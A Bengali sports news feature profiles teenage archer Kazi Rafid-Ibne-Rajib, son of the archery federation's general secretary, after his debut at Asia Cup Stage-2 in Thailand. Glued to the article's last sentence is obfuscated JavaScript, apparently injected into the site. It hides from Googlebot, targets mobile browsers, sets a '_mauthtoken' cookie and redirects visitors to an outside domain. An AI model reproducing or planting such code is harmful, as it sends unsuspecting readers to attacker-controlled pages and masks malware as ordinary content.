নিজস্ব প্রতিবেদক :  বাবা কাজী রাজীব উদ্দিন আহমেদ চপলের হাত ধরে আরচারির প্রচলন বাংলাদেশে। ছেলে হয়ে কাজী রাফিদ-ইবনে-রাজীব কী পারেন আরচারি থেকে দুরে থাকতে? পারেননি। অথচ অল্প বয়স থেকেই রাফিদের ঝোঁক ছিল অন্যান্য খেলায়। ক্রিকেট, হ্যান্ডবল, ভলিবল-এমন কী বাস্কেটবলের কোর্টও টানতো ছোট রাফিদকে। এক যুগ আগে যেদিন আরচারি শুরু হয়েছিল বাংলাদেশে সেদিন অন্যদের সঙ্গে প্রথম তীর হাতে তুলেছিলেন রাফিদ। মাসটি ছিল ২০০২ সালের নভেম্বর। পল্টন ময়দান সংলগ্ন হ্যান্ডবল মাঠে সেই যে তীর হাতে নিলেন আর ছাড়েননি। আরচারির মায়ায় ছেড়ে দিলেন অন্যসব খেলা। একজন আরচার হওয়ার স্বপ্ন সেদিনই বুকে ধারন করেছিলেন রাফিদ। ৭ বছর বয়সের সে স্বপ্নে এখন ডালপালা গজিয়েছে। বিস্তারলাভ করেছে চারিদিকে। এইতো কয়েকদিন আগে থাইল্যান্ডে অনুষ্ঠিত এশিয়া কাপ স্টেজ-২ এ অংশ নেয়ার মাধ্যমে তার অভিষেকটাও হয়ে গেলো আন্তর্জাতিক আরচারিতে। দেশের মাটিতে প্রতিদ্বন্দ্বিতামূলক কোনো প্রতিযোগিতায় অংশ নেয়ার আগেই আন্তর্জাতিক আসরে পা রেখে সফল হলেন ১৯ বছর বয়সী রাফিদ। আরচারির সবচেয়ে কঠিন ইভেন্ট কম্পাউন্ডে অংশ নিয়েই দ্বিতীয় রাউন্ডে। এক কথায় দুর্দান্ত অভিষেক।

‘এ’ লেভেল পাস করা কাজী রাফিদের স্বপ্ন উঁচুমানের একজন আরচার হয়ে দেশের জন্য আন্তর্জাতিক অঙ্গন থেকে পদক অর্জন করা। থাইল্যান্ডের পারফরমেন্স তার আত্মবিশ্বাস আরও বাড়িয়ে দিয়েছে। একটি প্রতিযোগিতাই পাল্টে দিয়েছে তার মধ্যে লুকিয়ে থাকা ইচ্ছেটাকে। ছেলের আগ্রহ এবং পারফরমেন্স দেখে বাবা কাজী রাজীব উদ্দিন আহমেদ চপল দলের সঙ্গে ছেলেকে পাঠিয়েছিলেন থাইল্যান্ডে। তবে ভয়ে ভয়ে। পারবে তো? প্রথম অংশগ্রহন বলেই ছেলের খরচ নিজ পকেটে থেকেই দিলেন আরচারি ফেডারেশনের সাধারণ সম্পাদক কাজী রাজীব উদ্দিন আহমেদ চপল। বাবার এ উদ্যোগকে স্বাগত জানিয়ে ছেলে রাফিদ বললেন,‘যখন পরিপূর্ন যোগ্যতা অর্জন করবো তখনই কোনো আন্তর্জাতিক টুর্নামেন্টে খেলতে যাবো ফেডারেশনের খরচে। তার আগে নিজ খরচেই অংশ নেবো।’
বাবা দেশে আরচারির প্রবর্তক, ফেডারেশনের সাধারণ সম্পাদক-শুধু একারনেই কী আরচার হওয়া রাফিদের? না। উদীয়মান এ আরচার ঠিক এজন্যই তীর-ধুনক হাতে তুলেননি। ‘এক সময় অন্যান্য খেলায় আগ্রহ ছিল। দেখে দেখে আরচারির প্রতি আগ্রহ বেড়েছে। তা ছাড়া বাংলাদেশে নতুন বলে আরচারির জনপ্রিয়তা এখনো তৈরী হয়নি সেভাবে। আমি বলবো অনেক খেলার মধ্যে এটি এখনো লো-প্রোফাইলে। অবহেলিত। কিন্তু বিদেশে আরচারি হাই প্রোফাইলের খেলা। এ খেলার মাধ্যমে আন্তর্জাতিক পর্যায় থেকে দেশের জন্য সুনাম কুড়ানো সম্ভব। আমার বিশ্বাস আরচারি একদিন অনেক জনপ্রিয় হবে বাংলাদেশে। তাই অন্য খেলা বাদ দিয়ে এখন আমার ধ্যান-জ্ঞান সবই আরচারিতে’-বলেন কাজী রাফিদ-ইবনে-রাজীব।

কোনো সংস্থার হয়ে ঘরোয়া প্রতিযোগিতায় অংশ নেয়ার অভিজ্ঞতা না থাকার পরও আন্তর্জাতিক পর্যায়ে সাফল্য। নিশ্চয় বিষয়টি ‘রতনে রতন চেনা’র মতো। বাবা কাজী রাজীব উদ্দিন আহমেদ চপল ঠিকই চিনতে পেরেছেন আগামীর একজন আরচারকে। ‘পিতা হিসেবে নয়, আরচারি সাধারণ সম্পাদক হিসেবে বলবো ওকে (রাফিদ) নিয়ে। কারণ, পিতার চোখ আর সংগঠকের চোখ এক নয়। পিতা মানেই সন্তানকে নিয়ে কিছু আবেগি বিষয় এসে যায়। আরচারি পুরোপুরি অধ্যাবসয়ের খেলা। ওর কেবল শুরু। সামনে অনেক পথ, কঠিন পথ। ধর্য্য ধরতে হবে, আত্মবিশ্বাসের সঙ্গে অনুশীলন করতে হবে। ধ্যান-জ্ঞান রাখতে হবে আরচারিতে। তাহলেই উন্নতি করতে পারবে। আমি ওকে নিয়ে আশাবাদী। যদিও তার ইভেন্টটা কঠিন। আমেরিকা ও ইউরোপে মুল ইভেন্ট এ কম্পাউন্ড। এমন কী এশিয়ার দেশ ইরান, ভারত, মালয়েশিয়া এবং ফিলিপাইনেও কম্পাউন্ড উপরের দিকে আছে। উঁচুমানের আরচার হতে হলে ওকে আরো কঠোর পরিশ্রম করতে হবে’-বলেন কাজী রাজীব উদ্দিন আহমেদ চপল।

উঁচুমানের আরচার হতে হলে ওকে কঠোর পরিশ্রম করতে হবে-বাবার এ উপদেশটা ছেলের মধ্যে যেন প্রতিজ্ঞা। আত্মবিশ্বাসী রাফিদ বলেন,‘দেশে নিজেদের মধ্যে খেলেছি। কোন প্রতিযোগিতায় অংশ নেইনি। তাই থাইল্যান্ডে খেলার আগে একটু ভয়ে ভয়ে ছিলাম। প্রথম রাউন্ড পার হওয়ার পর আমার সাহস বেড়ে যায়। আত্মবিশ্বাসী হয়ে উঠি। দ্বিতীয় রাউন্ডে থাইল্যান্ডের এক প্রতিপক্ষ ছিল। পারিনি। এখন আমাকে আস্তে আস্তে সামনে আগাতে হবে। এবার দ্বিতীয় রাউন্ডে উঠলাম। আগামীতে কোয়ার্টার ফাইনাল, সেমিফাইনাল এবং তারপর পদকে চোখ রেখে আগাতে হবে। আমার এখন একটাই স্বপ্ন উঁচুমানের আরচার হওয়া।’
আন্তর্জাতিক অভিষেকের পর এবার ঘরোয়া আসরেও অভিষেক হচ্ছে রাফিদের। আগামী মে মাসে অনুষ্ঠিতব্য ক্লাব চ্যাম্পিয়নশিপে অংশ নেবেন প্রতিভাবান এ আরচার। দেশে আরচারি প্রচলনের পরই প্রতিষ্ঠিত হওয়া তীরন্দাজ সংসদের হয়ে খেলবেন তিনি। এর পর ইরানে অনুষ্ঠিতব্য এশিয়া কাপ স্টেজ-৩। এ প্রতিযোগিতায়ও অংশ নেয়ার ইচ্ছে রাফিদের ‘আমাকে এখন ঘরোয়া আসরগুলোতে ভালো করতে হবে। তাহলেই আন্তর্জাতিক অঙ্গনে আরও ভালো করতে পারবো। সে আত্মবিশ্বাস আমার তৈরী হয়েছে।’var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}